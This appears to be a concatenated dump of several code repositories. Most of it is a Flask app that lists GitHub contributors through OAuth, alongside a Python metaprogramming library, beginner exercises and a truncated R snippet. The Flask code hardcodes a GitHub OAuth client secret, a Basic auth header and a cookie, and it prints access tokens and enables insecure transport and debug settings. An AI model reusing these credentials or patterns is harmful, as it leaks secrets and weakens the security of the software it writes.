commits_url = Repository.commits_url + f"?author={self.login}"
commits_resp = github.get(commits_url)
# get days of commit in a list
# extract max & min of commits date
weeks = []
for item in commits_resp.json():
date = item["commit"]["author"]["date"]
weeks.append(date)
if weeks:
self.last_commit_date = max(weeks)
self.first_commit_date = min(weeks)
# get any item from list and extract the first day of week for these commits as an acitve
commit_date_dt = datetime.datetime.strptime(
self.first_commit_date, '%Y-%m-%dT%H:%M:%SZ')
self.active_week = commit_date_dt - datetime.timedelta(
days=commit_date_dt.weekday())
else:
self.last_commit_date = None
self.first_commit_date = None
self.active_week = None
def parse_activity(self, weeks):
activities = (0, 0, 0) # (sum(a), sum(d) , sum(c))
active_week = (None, 0) # (w, sum(activitiy of this week))
first_week = None
last_week = None
for week in weeks:
w = week["w"]
activity = week["a"], week["d"], week["c"]
if activity != (0, 0, 0):
first_week = min(first_week, w) if first_week else w
last_week = max(last_week, w) if last_week else w
sum_activity = sum(list(activity))
if (not active_week[0]) or (active_week[1] < sum_activity):
active_week = (w, sum_activity)
activities = tuple(map(operator.add, activities, activity))
return {
"activities": activities,
"active_week": active_week,
"first_week": first_week,
"last_week": last_week
}
def get_last_commit_date(self, last_week):
'''
githup api requirements: convert epoch time to This is a timestamp in ISO 8601 format: YYYY-MM-DDTHH:MM:SSZ.
since=Only show notifications updated after the given time. This is a timestamp in ISO 8601 format: YYYY-MM-DDTHH:MM:SSZ.
'''
last_week_dt = datetime.datetime.fromtimestamp(last_week)
# get next date of week as using >
last_week_dt -= datetime.timedelta(days=1)
last_week_str = last_week_dt.strftime("%Y-%m-%dT%H:%M:%SZ")
#e.g. /commits?author=mitsuhiko&since=2020-07-05T00:00:00Z
commits_url = Repository.commits_url + f"?author={self.login}&since={last_week_str}"
commits_resp = github.get(commits_url)
commits_date = []
if commits_resp.status_code == 200:
payload = commits_resp.json()
for commit in payload:
commit_date = commit["commit"]["author"]["date"]
commits_date.append(commit_date)
return max(commits_date) if commits_date else None
def get_first_commit_date(self, first_week):
'''
githup api requirements: convert epoch time to This is a timestamp in ISO 8601 format: YYYY-MM-DDTHH:MM:SSZ.
since=Only show notifications updated after the given time. This is a timestamp in ISO 8601 format: YYYY-MM-DDTHH:MM:SSZ.
until=Only commits before this date will be returned. This is a timestamp in ISO 8601 format: YYYY-MM-DDTHH:MM:SSZ.
get the time range greater than first week and less than next week
'''
# get previosu date of first week as using since >
first_week_dt = datetime.datetime.fromtimestamp(first_week)
first_week_dt -= datetime.timedelta(days=1)
# get proceed date of first week as using unitl <
next_week_dt = first_week_dt + datetime.timedelta(days=7)
next_week_dt += datetime.timedelta(days=1)
# convert to str
first_week_str = first_week_dt.strftime("%Y-%m-%dT%H:%M:%SZ")
next_week_str = next_week_dt.strftime("%Y-%m-%dT%H:%M:%SZ")
# e.g. /commits??author=mitsuhiko&until=2011-02-05T00:00:00Z
commits_url = Repository.commits_url + f"?author={self.login}&since={first_week_str}&until={next_week_str}"
commits_resp = github.get(commits_url)
commits_date = []
if commits_resp.status_code == 200:
payload = commits_resp.json()
for commit in payload:
commit_date = commit["commit"]["author"]["date"]
commits_date.append(commit_date)
return min(commits_date) if commits_date else None
def to_dict_repo(self):
return {"login": self.login, "contributions": self.contributions}
def to_dict(self):
# convert epoch time to str for fomrat
# this happens for contritburo who has stats in api otherws will return string already
if self.active_week:
if type(self.active_week) == int:
self.active_week = datetime.datetime.fromtimestamp(
self.active_week)
self.active_week = self.active_week.strftime("%Y-%m-%d")
# some contributors have statics but when calling commits it returs []
# Therefore cannot determine first and last commit, may be bug in github api
# e.g. /commits?author=jab
if self.first_commit_date and self.last_commit_date:
# 1- convert string to datetime
self.first_commit_date = datetime.datetime.strptime(
self.first_commit_date, "%Y-%m-%dT%H:%M:%SZ")
self.last_commit_date = datetime.datetime.strptime(
self.last_commit_date, "%Y-%m-%dT%H:%M:%SZ")
# 2- format datetime
self.first_commit_date = self.first_commit_date.strftime(
"%Y-%m-%d")
self.last_commit_date = self.last_commit_date.strftime("%Y-%m-%d")
return {
"login": self.login,
"contributions": self.contributions,
"total": self.total,
"first_commit_date": self.first_commit_date,
"last_commit_date": self.last_commit_date,
"avg_additions": self.avg_additions,
"avg_deletions": self.avg_deletions,
"avg_commits": self.avg_commits,
"active_week": self.active_week
}<file_sep>FROM python:3.7-slim
WORKDIR /code
COPY ./requirements.txt /code/
RUN pip install --upgrade pip
RUN pip install -r requirements.txt
COPY . /code
EXPOSE 5000
ENV OAUTHLIB_INSECURE_TRANSPORT=true
ENTRYPOINT /bin/bash -c "chmod 755 /code/* && flask db upgrade && flask run --host=0.0.0.0"
<file_sep>import os, json
from requests import request as req
from flask import Flask, redirect, url_for, jsonify, abort, request, render_template, session
from flask_dance.contrib.github import make_github_blueprint, github
# from mapping import Repo, Contributor, Repository
from mapping.Repository import Repository
from mapping.Contributor import Contributor
from mapping.Repo import Repo
from functools import wraps
from model import setup_db
import datetime
from flask_login import logout_user, LoginManager
github_bp = make_github_blueprint()
def create_app():
app = Flask(__name__)
app.config['DEBUG'] = True
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "supersekrit")
app.config["GITHUB_OAUTH_CLIENT_ID"] = os.environ.get(
"GITHUB_OAUTH_CLIENT_ID")
app.config["GITHUB_OAUTH_CLIENT_SECRET"] = os.environ.get(
"GITHUB_OAUTH_CLIENT_SECRET")
app.register_blueprint(github_bp, url_prefix="/login")
# setup db to store OAuth tokens
setup_db(app, github_bp)
# environment varaibales
REPOSITORY = os.environ.get("REPOSITORY")
OWNER = os.environ.get("OWNER")
url = f"repos/{OWNER}/{REPOSITORY}"
def authorizing(f):
@wraps(f)
def wrapper(*args, **kwargs):
if not github.authorized:
return redirect(url_for("github.login"))
else:
ACCESS_TOKEN = app.blueprints['github'].token['access_token']
print("ACCESS_TOKEN=", ACCESS_TOKEN)
return f()
return wrapper
def get_all_contributors(repo):
body = repo.to_dict()
return jsonify({"success": True, "body": body})
def get_one_contributor(login):
contributor = Contributor(login=login, load_stats=True)
return jsonify({"success": True, "body": contributor.to_dict()})
@app.route("/")
@authorizing
def index():
contribtuor_res = Repository.get_contribtuor_res()
if contribtuor_res.status_code == 404:
abort(404)
elif contribtuor_res.status_code == 403:
abort(403)
else:
return render_template('index.html')
@app.route("/health")
def health():
return jsonify({"success": True})
@app.route("/contributors")
@authorizing
def contributors_endpoint():
query_string = request.query_string
if not query_string:
# no query string
repo = Repo()
return get_all_contributors(repo)
else:
# get login of query string
login = request.args.get('login')
return get_one_contributor(login=login)
@app.route("/logout")
def logout():
ACCESS_TOKEN = app.blueprints['github'].token['access_token']
CLIENT_ID = os.environ.get("GITHUB_OAUTH_CLIENT_ID")
payload = "{\"access_token\": \"%s\"}" % (ACCESS_TOKEN)
logout_url = f"https://api.github.com/applications/{CLIENT_ID}/grant"
headers = {
'Authorization':
'Basic NjliYTRiMTBhNGE0Y2RhM2IxNzQ6MDJlN2FmYTQ1NTIxYmYyMzBhYzNkNTg4MGQ0MWIwNGRlMWUzYWY1OQ==',
'Content-Type': 'application/json',
'Cookie': '_octo=GH1.1.2130686163.1612643408; logged_in=no'
}
resp = req("DELETE", logout_url, headers=headers, data=payload)
if resp.ok:
del app.blueprints['github'].token
session.clear()
return "Ok"
else:
abort(401)
@app.errorhandler(404)
def error_404(error):
return jsonify({"success": False, "message": "page not found"}), 404
@app.errorhandler(403)
def error_403(error):
return jsonify({"success": False, "message": "forbidded call"}), 403
return app
app = create_app()
if __name__ == '__main__':
app.debug = True
# app.env = "development"
app.run(host='0.0.0.0', port=5000)<file_sep>alembic==1.5.4
astroid==2.4.2
attrs==20.3.0
certifi==2020.12.5
chardet==4.0.0
click==7.1.2
Flask==1.1.2
Flask-Dance==3.2.0
Flask-Login==0.5.0
Flask-Migrate==2.6.0
Flask-SQLAlchemy==2.4.4
idna==2.10
iniconfig==1.1.1
isort==5.7.0
itsdangerous==1.1.0
Jinja2==2.11.3
lazy-object-proxy==1.4.3
Mako==1.1.4
MarkupSafe==1.1.1
mccabe==0.6.1
oauthlib==3.1.0
packaging==20.9
pluggy==0.13.1
psycopg2-binary==2.8.6
py==1.10.0
pylint==2.6.0
pyparsing==2.4.7
pytest==6.2.2
python-dateutil==2.8.1
python-editor==1.0.4
requests==2.25.1
requests-oauthlib==1.3.0
six==1.15.0
SQLAlchemy==1.3.23
SQLAlchemy-Utils==0.36.8
toml==0.10.2
urllib3==1.26.3
URLObject==2.4.3
Werkzeug==1.0.1
wrapt==1.12.1
yapf==0.30.0
<file_sep>## clean up
# kubectl delete configmap env-config;
# kubectl delete secret env-secret;
## setup
# kubectl apply -f ./env-config.yml;
# kubectl apply -f ./env-secret.yml;
kubectl apply -f ./commitleague-deployment.yml;
kubectl apply -f ./commitleague-service.yml;
kubectl apply -f ./reverseproxy-deployment.yml;
kubectl apply -f ./reverseproxy-service.yml;
<file_sep>export PGPASSWORD='<PASSWORD>';
psql --dbname=postgres --host=0.0.0.0 --port=5432 --username=postgres -a -q -f ./backup.sql;<file_sep>from flask_sqlalchemy import SQLAlchemy
from flask_migrate import Migrate
from flask_dance.consumer.storage.sqla import OAuthConsumerMixin
from flask_dance.consumer.storage.sqla import SQLAlchemyStorage
import os
from sqlalchemy_utils.types.json import JSONType
db = SQLAlchemy()
database_path = os.environ.get('DATABASE_URL')
def setup_db(app, blueprint, database_path=database_path):
app.config['SQLALCHEMY_DATABASE_URI'] = database_path
app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
db.app = app
db.init_app(app)
migrate = Migrate(app, db)
print(blueprint)
blueprint.storage = SQLAlchemyStorage(OAuth, db.session)
class OAuth(OAuthConsumerMixin, db.Model):
pass<file_sep>from flask_dance.contrib.github import github
from mapping.Repository import Repository
from mapping.Contributor import Contributor
class Repo():
def __init__(self, id=None, num_contributors=None, full_name=None):
self.id = id
self.num_contributors = num_contributors
self.full_name = full_name
self.contributors = []
self.set_properties()
def to_dict(self):
return {
"full_name":
self.full_name,
"contributors":
[contributor.to_dict_repo() for contributor in self.contributors]
}
def set_properties(self):
'''
GitHub identifies contributors by author email address.
This endpoint groups contribution counts by GitHub user,
which includes all associated email addresses.
To improve performance, only the first 500 author email addresses in the repository link to GitHub users.
'''
payload = Repository.get_repo_res().json()
self.id = payload.get("id")
self.full_name = payload.get("full_name")
for page in range(1, 10):
url = Repository.contribtuor_ul + f"?per_page=100&page={page}"
resp_contributors = github.get(url)
# The history or contributor list is too large to list contributors for this repository via the API
if resp_contributors.status_code != 403 or resp_contributors.json(
):
self.set_contributors(payload=resp_contributors.json())
else:
break
self.num_contributors = len(self.contributors)
def set_contributors(self, payload):
for contributor in payload:
login = contributor.get("login")
contributions = contributor.get("contributions")
contributor = Contributor(login=login, contributions=contributions)
self.contributors.append(contributor)<file_sep>--
-- PostgreSQL database dump
--
-- Dumped from database version 13.1 (Debian 13.1-1.pgdg100+1)
-- Dumped by pg_dump version 13.1
SET statement_timeout = 0;
SET lock_timeout = 0;
SET idle_in_transaction_session_timeout = 0;
SET client_encoding = 'UTF8';
SET standard_conforming_strings = on;
SELECT pg_catalog.set_config('search_path', '', false);
SET check_function_bodies = false;
SET xmloption = content;
SET client_min_messages = warning;
SET row_security = off;
SET default_tablespace = '';
SET default_table_access_method = heap;
--
-- Name: flask_dance_oauth; Type: TABLE; Schema: public; Owner: postgres
--
CREATE TABLE public.flask_dance_oauth (
id integer NOT NULL,
provider character varying(50) NOT NULL,
created_at timestamp without time zone NOT NULL,
token json NOT NULL
);
ALTER TABLE public.flask_dance_oauth OWNER TO postgres;
--
-- Name: flask_dance_oauth_id_seq; Type: SEQUENCE; Schema: public; Owner: postgres
--
CREATE SEQUENCE public.flask_dance_oauth_id_seq
AS integer
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
ALTER TABLE public.flask_dance_oauth_id_seq OWNER TO postgres;
--
-- Name: flask_dance_oauth_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: postgres
--
ALTER SEQUENCE public.flask_dance_oauth_id_seq OWNED BY public.flask_dance_oauth.id;
--
-- Name: flask_dance_oauth id; Type: DEFAULT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.flask_dance_oauth ALTER COLUMN id SET DEFAULT nextval('public.flask_dance_oauth_id_seq'::regclass);
--
-- Data for Name: flask_dance_oauth; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public.flask_dance_oauth (id, provider, created_at, token) FROM stdin;
\.
--
-- Name: flask_dance_oauth_id_seq; Type: SEQUENCE SET; Schema: public; Owner: postgres
--
SELECT pg_catalog.setval('public.flask_dance_oauth_id_seq', 4, true);
--
-- Name: flask_dance_oauth flask_dance_oauth_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.flask_dance_oauth
ADD CONSTRAINT flask_dance_oauth_pkey PRIMARY KEY (id);
--
-- PostgreSQL database dump complete
--
<file_sep>from flask_dance.consumer.storage import MemoryStorage
from app import app, github_bp
import json, os
def test_index_unauthorized(monkeypatch):
storage = MemoryStorage()
monkeypatch.setattr(github_bp, "storage", storage)
with app.test_client() as client:
response = client.get("/", base_url="https://localhost:5000")
assert response.status_code == 302
assert response.headers[
"Location"] == "https://localhost:5000/login/github"
def test_index_authorized(monkeypatch):
# get the access token from runnin the applicatin to access GITHUB_OAUTH_CLIENT_ID
# it will be written on stdout
# ex: <PASSWORD>"
FAKE_TOKEN = os.environ.get("FAKE_TOKEN", "<PASSWORD>")
storage = MemoryStorage({"access_token": f"{FAKE_TOKEN}"})
monkeypatch.setattr(github_bp, "storage", storage)
with app.test_client() as client:
response = client.get("https://localhost:5000/contributors")
success = json.loads(response.get_data())["success"]
assert response.status_code == 200
assert success == True<file_sep>export GITHUB_OAUTH_CLIENT_ID=69ba4b10a4a4cda3b174;
export GITHUB_OAUTH_CLIENT_SECRET=02e7afa45521bf230ac3d5880d41b04de1e3af59;
export OWNER=pallets;
export REPOSITORY=flask;
export DATABASE_URL="postgresql://postgres:postgres@localhost:5432/postgres";
export FLASK_APP=app.py;
export FLASK_ENV=development;
flask db upgrade;
flask run;<file_sep>import os
from flask_dance.contrib.github import github
class Repository():
repo = os.environ.get("REPOSITORY")
owner = os.environ.get("OWNER")
repo_url = "repos" + f"/{owner}/{repo}"
contribtuor_ul = repo_url + "/contributors"
stats_url = repo_url + "/stats/contributors"
commits_url = repo_url + f"/commits"
@classmethod
def get_repo_res(cls):
return github.get(cls.repo_url)
@classmethod
def get_contribtuor_res(cls):
return github.get(cls.contribtuor_ul)
@classmethod
def get_stats_res(cls):
return github.get(cls.stats_url)<file_sep># CDND-COMMOTLEAGUE
## Introdution
The challenge is to generate an HTML page that lists the top contributors of a Github repository, along with some additional information.
Using the [Github API](https://developer.github.com/v3/), to collect data from the public repository [Flask](https://github.com/pallets/flask) and generate an HTML page with the following information:
Repository's full name ({owner}/{repo} e.g. avidity/some-repo) and description
List of contributors, listed by number of contribution in descending order
For each contributor:
Number of contributions
Date of first contribution
Date of last contribution
Average commits, additions and deletions per week over the whole period
Most active period
Requests to the Github API made by the application must be authenticated using OAuth2 token.
## Design
The solution based on the idea of requesting data from Githib API and deserializing the josn responses into OOP object and doing the processing on run-time.
### Backend
`Python` programming language with `Flask` framework is used as a a tech stack. OAuth2 tokens are stored in centrazlied database `PostgresSQL`.
This approach knows how to store and retrieve OAuth tokens from some kind of persistent storage.
### Frontend
`HTML` template file which fetchs data from backend API endpoints. The technologies used: `javascript` along with `jQuery` to handle the fetch processing.
## Installation
- [Git](https://git-scm.com/downloads) to fetch the code repository:
```
$ git --version
$ git clone https://github.com/hadi-alnehlawi/Commit-League.git
```
- [Docker](https://www.docker.com) must be installed as a prequisite to run the applicaiton containers:
```
$ docker-compose -f ./deployment/docker/docker-compose-build.yaml build --parallel
$ docker-compose -f ./deployment/docker/docker-compose.yml push
$ docker-compose -f ./deployment/docker/docker-compose.yml up
```
- The above command installs `Postgres` & `Python` docker images if not install and run the two containers:
- **commitleague**: running on port _5000_
- **postgres**: running port _5432_
## Run
- Once the containers are up & running successfully got to your browser to open the HTML page: [http://localhost:5000](http://localhost:5000)
- The page will driect you to Github consent webpage. Upong successful authentication Github will direct to applicaiton home page which displays the required informaiton
- There is an button in the page to logout to reovke the token and clear the session
|
1a397cac10bc86d58fc8f8117a465f6d8d0e2a02
|
[
"SQL",
"Markdown",
"Python",
"Text",
"Dockerfile",
"Shell"
] | 13
|
Python
|
hadi-alnehlawi/CDND-COMMITLEAGUE-
|
b410d1d313cd9ab18e0e853fd5629d3c98c53458
|
d1954b55d0784e4c0ca04681cbcdc4c502c29c57
|
refs/heads/master
|
<file_sep>def show_stars(rows):
for element in range(0 + 1,rows + 1):
print (element * "*")
show_stars(10)<file_sep>def print_in_lines(l):
for element in l:
print (element)
print_in_lines([1,2,3,4,5])<file_sep>def showNumbers(limit):
for element in range(0, limit + 1):
if element % 2 == 0:
print(element, "EVEN")
else:
print(element, "ODD")
showNumbers(20)<file_sep>number = int(input("Please enter an integer: "))
print(f"These are the divisors of {number}:")
for element in range(0+1 ,number + 1):
if number % element == 0:
print (element)<file_sep>def area_of_triangle(base,height):
return base * height / 2
print (area_of_triangle(4,6))
<file_sep>a = [1,1,2,3,5,8,13,21,34,55,89]
b = [1,2,3,4,5,6,7,8,9,10,11,12,13]
a_listed = list(set(a))
b_listed = list(set(b))
c_listed = []
for element in a_listed:
if element in b_listed:
c_listed.append(element)
print(c_listed)<file_sep>def sum_of_multiples(x):
numbers = range(0,x+1)
elements_to_print = [element for element in numbers if element % 3 == 0 or element % 5 == 0]
print(elements_to_print)
return sum(elements_to_print)
print(sum_of_multiples(20))<file_sep>def rectangle_area(width,height):
return width * height
print (rectangle_area(3,5))<file_sep>def area_of_circle(radius):
return 3.14 * radius ** 2
print (area_of_circle(13))<file_sep>def mean(lst):
return sum(lst) / len(lst)
print (mean([5,7,6]))<file_sep>import datetime
current_year = datetime.datetime.now()
while True:
name = input("Name: ")
age = int(input("Age: "))
print (f"""Your name is {name}.
You are {age} years old.""")
year_of_turning_100 = current_year.year + (100 - age)
print (f"You will turn 100 years old in {year_of_turning_100}.")<file_sep># zadanka
Here I will be commiting some training tasks
<file_sep>def print_in_lines(l):
print(' '.join(map(str,l)))
print_in_lines ([1,2,3,4,5])<file_sep>weight = int(input("Weight: "))
while True:
unit = input("(K)g or (L)bs? ")
if unit.upper() == "K":
kg_to_lb = int(weight // 0.45)
print(f"It's {kg_to_lb} pounds.")
break
elif unit.upper() == "L":
lb_to_kg = int(weight * 0.45)
print(f"It's {lb_to_kg} kilos.")
break
else:
print("""Please use "K" or "L". """)<file_sep>def add(numbers_list):
return sum(numbers_list)
print (add([1,2,3,4]))
|
2da0a47c1f81ec1581d7911a5f1b030dad690b57
|
[
"Markdown",
"Python"
] | 15
|
Python
|
Redzyk/zadanka
|
245b2dcd89deb6f57a8e1f588e5de23186e5fde8
|
bc076002e9081a413c0244ae762c7c7c7b23dbcd
|
refs/heads/master
|
<repo_name>sdvillal/happysad<file_sep>/setup.py
#!/usr/bin/env python
try:
from setuptools import setup
except ImportError:
from ez_setup import use_setuptools
use_setuptools()
from setuptools import setup
import happysad
setup(name='happysad',
version=happysad.__version__,
description=happysad.__doc__,
author=happysad.__author__,
author_email='<EMAIL>',
url='https://github.com/sdvillal/happysad',
license=happysad.__license__,
py_modules=['happysad'],
platforms=['all'],
classifiers=[
'Intended Audience :: Developers',
'License :: OSI Approved :: BSD-3-Clause',
'Topic :: Software Development',
'Operating System :: OS Independent',
'Programming Language :: Python',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
])
<file_sep>/happysad.py
# coding=utf-8
"""
Black magic metaprogramming to redefine descriptors in python instances.
You should never lie, avoid to use this if possible.
When using it, you should really understand what you are doing.
You will probably also need paracetamol.
These patched objects have two personalities, or more concretely, two classes.
One is their original class, when exposing it objects are "sad".
The other one is an instance specific subclass, when exposing it objects are "happy".
(just funny API)
TODO... write proper doc and tests
Pickling
--------
Mixing liars dark magic with object serialization / pickling is not a good idea.
You can either use dill or temporarilly pickle using
>>> import pickle
>>> inst = 2
>>> with forget_synthetic_class(inst):
... pickle.dumps(inst)
In our use case, serialization was handled by pickle only after
storing the important stuff in a dictionary.
Using these functions you can control access to members of objects when
you do not want to, or cannot, touch their code, and overriding or simple
attribute setting would not be enough.
We use this magic at loopbio to modify the behavior of layers in deep neural networks
from (heavily designed) frameworks, hoping for minimal maintenance costs on our
side. Thanks to them we are able to correct performance deficits and bugs in these
frameworks.
"""
from __future__ import print_function, division
from contextlib import contextmanager
__author__ = '<NAME>'
__version__ = '0.1.0'
__license__ = '3-clause BSD'
__all__ = ['happy', 'make_happy', 'maybe_happy',
'sad', 'make_sad',
'saddest',
'RetrievableDescriptor', 'MemberView', 'ControlledSetter',
'take_happy_pills', 'create_with_joy']
# --- Synthetic/Original classes swapping
# noinspection PyProtectedMember
def _original_class(inst):
"""Returns `inst` original class, without any class swapping."""
try:
return inst._Xoriginal_classX
except AttributeError:
return inst.__class__
# noinspection PyProtectedMember
def _synthetic_class(inst):
"""Returns `inst` synthetic class (can be None), without any swapping."""
try:
return inst._Xsynthetic_classX
except AttributeError:
return None
def _bookkept_attrs(inst):
"""Returns the dictionary of synthetic class bookkept attributes."""
return _synthetic_class(inst).bookeeping
def _delete_old_attrs(inst):
"""Deletes the synthetic class bookkept attributes from the instance."""
if inst.__class__ == _original_class(inst):
bookkept = _bookkept_attrs(inst)
for attr in bookkept:
try:
bookkept[attr] = getattr(inst, attr)
delattr(inst, attr)
except AttributeError:
pass
def _set_synthetic(inst):
"""
Mutates the instance to be of the synthetic class.
Takes care of storing away the bookkept attributes.
"""
_delete_old_attrs(inst)
inst.__class__ = _synthetic_class(inst)
def _reset_old_attrs(inst):
"""Sets the synthetic class bookkept attributes in the instance."""
if inst.__class__ == _original_class(inst):
for attr, val in _bookkept_attrs(inst).items():
setattr(inst, attr, val)
def _set_original(inst):
"""
Mutates the instance to be of the original class.
Takes care of restoring the bookkept attributes.
"""
inst.__class__ = _original_class(inst)
_reset_old_attrs(inst)
def _create_synthetic_class(cls):
"""Creates a synthetic subclass of cls, adding a few attributes."""
# Python 2, old style classes support
if not isinstance(cls, type):
cls = type(cls.__name__, (cls, object), {})
# Create the subclass
return type(cls.__name__, (cls,), {'XsyntheticX': True,
'bookeeping': {}})
# noinspection PyProtectedMember,PyTypeChecker
def force_synthetic_class(inst):
"""
Derives a synthetic class from `inst` class and assigns it to `inst.__class__`.
If inst already has a synthetic class in `inst._Xsynthetic_classX`,
it is used instead of creating a new one.
In this way any manipulation to the instance class will be local to `inst`.
The original class can be retrieved by `inst._Xoriginal_classX`.
The synthetic class has provision for storing old values in the original
instance by providing a "bookeeping" dictionary. It can be used to provide
"undo" / "redo" abilities to other monkey-patching pals.
Parameters
----------
inst : object
Any object we want to make its class local to.
Returns
-------
The synthetic class of the object (i.e. its current class, for fluency).
"""
if not hasattr(inst, '_Xsynthetic_classX'):
inst._Xsynthetic_classX = _create_synthetic_class(type(inst))
inst._Xoriginal_classX = inst.__class__
inst.__class__ = inst._Xsynthetic_classX
_set_synthetic(inst)
return inst.__class__
def maybe_synthetic_class(inst):
"""
Attributes inst to its synthetic class if it exists, otherwise does nothing.
Returns the current class for the instance for fluency.
"""
try:
_set_synthetic(inst)
except AttributeError:
pass
return inst.__class__
def force_original_class(inst):
"""
Forces an instance to use its original class.
See `force_synthetic_class`.
Returns the current class for the instance for fluency.
"""
try:
_set_original(inst)
except AttributeError:
pass
return inst.__class__
def forget_synthetic_class(inst):
try:
force_original_class(inst)
delattr(inst, '_Xsynthetic_classX')
except AttributeError:
pass
return inst.__class__
def _original_class_contextmanager_factory(forget):
"""
Generate context managers for setting the original class.
If forget is False, `force_original_class` is called,
simply ensuring the object is of the original class in the context.
If forget is True, `forget_synthetic_class` is called,
ensuring the object is of the original class in the context
and temporarily removing the synthetic class attribute.
This is specially useful to ensure (de)serialization does not
fail because of the generated classes.
"""
to_original = force_original_class if not forget else forget_synthetic_class
@contextmanager
def cm(inst, *insts):
insts = (inst,) + insts
current_classes = [inst.__class__ for inst in insts]
synth_classes = [_synthetic_class(inst) for inst in insts]
if len(insts) == 1:
yield to_original(insts[0])
else:
yield tuple(to_original(inst) for inst in insts)
for current_class, synth_class, inst in zip(current_classes, synth_classes, insts):
if synth_class is not None:
inst._Xsynthetic_classX = synth_class
if current_class == _synthetic_class(inst):
force_synthetic_class(inst)
cm.__name__ = 'original_class' if not forget else 'no_synthetic_class'
cm.__doc__ = ('Call `%s` in a context manager.' %
('force_original_class' if not forget else 'forget_synthetic_class'))
return cm
original_class = _original_class_contextmanager_factory(forget=False)
no_synthetic_class = _original_class_contextmanager_factory(forget=True)
@contextmanager
def synthetic_class(inst, *insts):
"""Call `force_synthetic_class` in a context manager."""
insts = (inst,) + insts
classes = [inst.__class__ for inst in insts]
if len(insts) == 1:
yield force_synthetic_class(insts[0])
else:
yield tuple(force_synthetic_class(inst) for inst in insts)
for cls, inst in zip(classes, insts):
if cls == _original_class(inst):
force_original_class(inst)
# --- Descriptors
class RetrievableDescriptor(object):
"""
An abstract descriptor which allows to retrieve itself and control setting policies.
Ideally, you will need to override `_get_hook` and `set_hook` in subclasses.
Parameters
----------
on_set: one of ('pass', 'fail', 'set')
What to do with the descriptor when set is called.
If pass: do nothing
If fail: raise an exception
If set: call hook method _set_hook()
"""
def __init__(self, on_set='pass'):
super(RetrievableDescriptor, self).__init__()
valid_on_set = 'pass', 'fail', 'set'
if on_set not in valid_on_set:
raise ValueError('on_set must be one of %r' % (valid_on_set,))
self.on_set = on_set
def __get__(self, instance, owner):
# Allow to access the descriptor itself via the class
if instance is None:
return self
return self._get_hook(instance, owner)
def _get_hook(self, instance, owner):
"""Actual implementation of __get__ when it is called on the instance, instead of on the class."""
raise NotImplementedError()
def __set__(self, instance, value):
if self.on_set == 'fail':
raise Exception('Trying to set a read only constant')
elif self.on_set == 'set':
self._set_hook(instance, value)
def _set_hook(self, instance, value):
"""Actual implementation of __set__ when `self.on_set == 'set'`."""
raise NotImplementedError()
class MemberView(RetrievableDescriptor):
"""A descriptor that acts as a view to another object member."""
def __init__(self, viewed_object, parameter, on_set='pass'):
super(MemberView, self).__init__(on_set=on_set)
self.viewed_object = viewed_object
self.parameter = parameter
def _get_hook(self, _, owner):
return getattr(self.viewed_object, self.parameter)
def _set_hook(self, _, value):
setattr(self.viewed_object, self.parameter, value)
class ControlledSetter(RetrievableDescriptor):
"""A descriptor that can (dis)allow setting and always returns a private variable."""
def __init__(self, val=None, on_set='pass'):
super(ControlledSetter, self).__init__(on_set=on_set)
self.val = val
def _get_hook(self, *_):
return self.val
def _set_hook(self, _, value):
self.val = value
# Some useful descriptors
AlwaysNone = ControlledSetter(val=None, on_set='pass')
StrictAlwaysNone = ControlledSetter(val=None, on_set='fail')
def add_descriptors(inst, bookkeep_attrs=False, **descriptors):
"""
Adds descriptors to an object instance class.
`inst' is forced to have a local synthetic class first, so the original
class is untouched (see `force_synthetic_class`). As a side effect, inst
is mutated to be of the synthetic class.
Any attribute already in the instance will be deleted. They can be
saved by setting `save_old` to True. In this case, they will be restablished
and deleted each time `force_synthetic_class` and `force_original_class` are
used to cycle through inst synthetic and original classes.
Returns inst itself for fluency.
Examples
--------
>>> class Mango(object):
... def __init__(self, price=2):
... super(Mango, self).__init__()
... self.price = price
>>> mango = Mango()
>>> mango.price
2
>>> mango = add_descriptors(mango, bookkeep_attrs=True, price=ControlledSetter(5))
>>> mango.price
5
>>> mango.price = 7
>>> mango.price
5
>>> mango = add_descriptors(mango, price=ControlledSetter(5, on_set='fail'))
>>> mango.price = 7
Traceback (most recent call last):
...
Exception: Trying to set a read only constant
>>> with sad(mango):
... print('Old original price:', mango.price)
... mango.price = 2.5
... print('New original price:', mango.price)
Old original price: 2
New original price: 2.5
>>> mango.price
5
>>> with sad(mango):
... print('Old original price:', mango.price)
Old original price: 2.5
>>> with happy(mango):
... mango.price
5
"""
cls = force_synthetic_class(inst)
for name, descriptor in descriptors.items():
try:
if bookkeep_attrs:
_bookkept_attrs(inst)[name] = getattr(inst, name)
delattr(inst, name)
except AttributeError:
pass
setattr(cls, name, descriptor)
return inst
def class_with_descriptors(cls, **descriptors):
"""Creates a subclass from cls and adds some descriptors to it."""
# Derive a new class, with the given descriptors
cls = _create_synthetic_class(cls)
for name, descriptor in descriptors.items():
setattr(cls, name, descriptor)
return cls
def intercept_creation(cls, descriptors, *args, **kwargs):
"""Intercepts attribute access upon instance creation."""
synthetic = class_with_descriptors(cls, **descriptors)
inst = synthetic(*args, **kwargs)
inst._Xsynthetic_classX = synthetic
inst._Xoriginal_classX = cls
return inst
# --- Happy/Sad API
make_happy = force_synthetic_class
happy = synthetic_class
maybe_happy = maybe_synthetic_class
make_sad = force_original_class
sad = original_class
make_saddest = forget_synthetic_class
saddest = no_synthetic_class
take_happy_pills = add_descriptors
create_with_joy = intercept_creation
|
d2ae53539f4da6e8ed1b943fac9dc795346dae74
|
[
"Python"
] | 2
|
Python
|
sdvillal/happysad
|
d7606475005f1ac4560a6c339d0fa89d497a2a65
|
33977e42d3429eee8e3ca519469b12f0deb159fe
|
refs/heads/master
|
<file_sep>## Get file info for dataPrepperLogs
tmp <- file.info(list.files("data/prepped/dataPrepper_logs/",".txt",full.names=TRUE))
tmp <- tmp[order(tmp$mtime,decreasing=TRUE),]
## Read two most recent
new <- readLines(rownames(tmp)[1])
old <- readLines(rownames(tmp)[2])
# find changed rows (delete first ... it will always be different)
( changed_rows <- which(new!=old)[-1] )
# look at changes
if (length(changed_rows)>0) {
